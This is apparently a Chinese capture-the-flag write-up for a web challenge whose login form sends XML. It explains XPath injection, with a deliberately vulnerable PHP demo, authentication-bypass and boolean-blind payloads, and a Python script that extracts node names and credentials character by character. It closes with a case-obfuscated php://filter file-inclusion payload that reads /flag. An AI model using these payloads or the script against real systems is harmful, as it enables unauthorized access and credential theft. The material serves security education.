前言
关键字:[登录框动画]
题解
看了下,登录验证在static/main.js里
var current = null;
document.querySelector('#username').addEventListener('focus', function(e) {
if (current) current.pause();
current = anime({
targets: 'path',
strokeDashoffset: {
value: 0,
duration: 700,
easing: 'easeOutQuart'
},
strokeDasharray: {
value: '240 1386',
duration: 700,
easing: 'easeOutQuart'
}
});
});
document.querySelector('#password').addEventListener('focus', function(e) {
if (current) current.pause();
current = anime({
targets: 'path',
strokeDashoffset: {
value: -336,
duration: 700,
easing: 'easeOutQuart'
},
strokeDasharray: {
value: '240 1386',
duration: 700,
easing: 'easeOutQuart'
}
});
});
document.querySelector('#submit').addEventListener('focus', function(e) {
if (current) current.pause();
current = anime({
targets: 'path',
strokeDashoffset: {
value: -730,
duration: 700,
easing: 'easeOutQuart'
},
strokeDasharray: {
value: '530 1386',
duration: 700,
easing: 'easeOutQuart'
}
});
});
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
var token = $("#token").val();
if(username == "" || password == ""){
$(".msg").text("用户名和密码不能为空!");
return;
}
var data = "<username>"+username+"</username>"+"<password>"+password+"</password>"+"<token>"+token+"</token>";
$.ajax({
type: "POST",
url: "login.php",
contentType: "application/xml",
data: data,
anysc: false,
success: function (result, status, xhr) {
if(result == '成功'){
window.location.href = 'admin.php';
}
$(".msg").text(result);
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
这动画还蛮炫的
是以这样的形式传过去的:
加个<?xml version="1.0"?>
提示格式错误
还以为是XXE试了半天不行,一看wp,得,xpath注入。
虽然爬虫用过xpath,但没想到还能注入。
XPath注入
XPath没有注释一说,所以构造的payload要根据语句进行闭合
字符串相关函数
codepoints-to-string(a, b, c, …):将数字 a、b、c 转为对应的字符, Python 的
chr
函数类似。string-to-codepoints(string):与上面的相反
compare(a, b, rule):比大小,func 是比较大小的规则
string-join((string, string, …), sep):使用 sep 参数作为分隔符,来返回 string 参数拼接后的字符串。
substring(string, start [,len]):返回从 start 位置开始的指定长度的子字符串。第一个字符的下标是 1。如果省略 len 参数,则返回从位置 start 到字符串末尾的子字符串。
string-length([string]):返回指定字符串的长度。如果没有 string 参数,则返回当前节点的字符串值的长度。
其他函数
count(item[, item1, …]):返回节点的数量。
position():返回当前正在被处理的节点的 index 位置。
last():返回在被处理的节点列表中的项目数目。
name([nodeset]):返回当前节点的名称或指定节点集中的第一个节点。
举个例子
users.xml:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>admin</username>
<password type="md5">0192023a7bbd73250516f069df18b500</password>
</user>
<user>
<id>2</id>
<username>jack</username>
<password type="md5">1d6c1e168e362bc0092f247399003a88</password>
</user>
<user>
<id>3</id>
<username>tony</username>
<password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
</user>
</users>
<secret>
<flag>flag{My_f1rst_xp4th_iNjecti0n}</flag>
</secret>
</root>
index.php:
<?php
$xml = simplexml_load_file('users.xml');
$name = $_GET['u'];
$pwd = md5($_GET['p']);
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result = $xml->xpath($query);
if($result) {
echo '<h2>Welcome</h2>';
foreach ($result as $key => $value) {
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}
常规注入
这段测试代码的查询语句如下:
/root/users/user[username/text()='' and password/text()='']
万能密码:
u = "admin' or '1"
p = ""
结果:
/root/users/user[username/text()='admin' or '1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
若不知道用户名则可以再加个or
u = "' or 1 or '1"
p = ""
/root/users/user[username/text()='' or 1 or '1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
这是根据XML特性来的
查询如果不是用[键=’值’]这种方式的查询,只会返回所有路径标签的值
如果带有[键=’值’]的查询,会返回和该路径相同的所有路径和该类路径之下节点的所有的值
布尔盲注
1.判断根节点数量
u = "' or count(/)=1 or '1"
count(/)=1
一直到 count(/)=n
,判断出根节点有几个。
若u = "' or count(/)=1 or '1"
返回正常,说明只有 1 个根节点。下文同理。
2.获取根节点名
首先获取名字长度
u = "' or string-length(name(/*[1]))=1 or '1"
接下来获取逐个字符获取名字
u = "' or substring(name(/*[1]), 1, 1)='a' or '1"
回到题目,先猜根节点,脚本如下
import requests
import re
import time
s = requests.session()
url = 'http://9dd95219-88d2-4ba7-b7b8-7ef112820c15.node4.buuoj.cn:81/'
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find = re.compile('<input type="hidden" id="token" value="(.*?)" />')
strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag = ''
for i in range(1, 100):
for j in strs:
r = s.post(url=url)
time.sleep(0.1)
token = find.findall(r.text)
# 猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(
i, j, token[0])
# 猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(
i, j, token[0])
# 猜测accounts的节点
payload_3 = "<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(
i, j, token[0])
# 猜测user节点
payload_4 = "<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(
i, j, token[0])
# 跑用户名和密码
payload_username = "<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(
i, j, token[0])
payload_password = "<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(
i, j, token[0])
r = s.post(url=url, headers=head, data=payload_1)
time.sleep(0.2)
if "非法操作" in r.text:
flag += j
print(flag)
break
if "用户名或密码错误!" in r.text:
break
print(flag)
注意,xpath是从[1]开始的
root的子节点
/root/accounts的子节点
就是这样一个一个跑就行了。
跑出来大概形式就是这样
<root>
<accounts>
<user>
<id></id>
<username>gtfly123</username>
<password>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id></id>
<username>adm1n</username>
<password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
</user>
</accounts>
</root>
还可以这种形式:
substring(string(/*[1]/*[1]/*[2]/*[3]),1,1)='a'
用adm1n@gtfly123登录
登录后发现base64,解码:flag is in /flag
利用文件包含,提示nonono。有过滤,最后用大小写绕过,这要是不说,没有源码真想不到啊,尽量多做尝试吧。
?file=pHp://filter/convert.BAse64-encode/resource=/flag
?file=pHp://FiltEr/convert.BAse64-eNcode/resource=/flag
试了下发现,convert resource
不能修改大小写。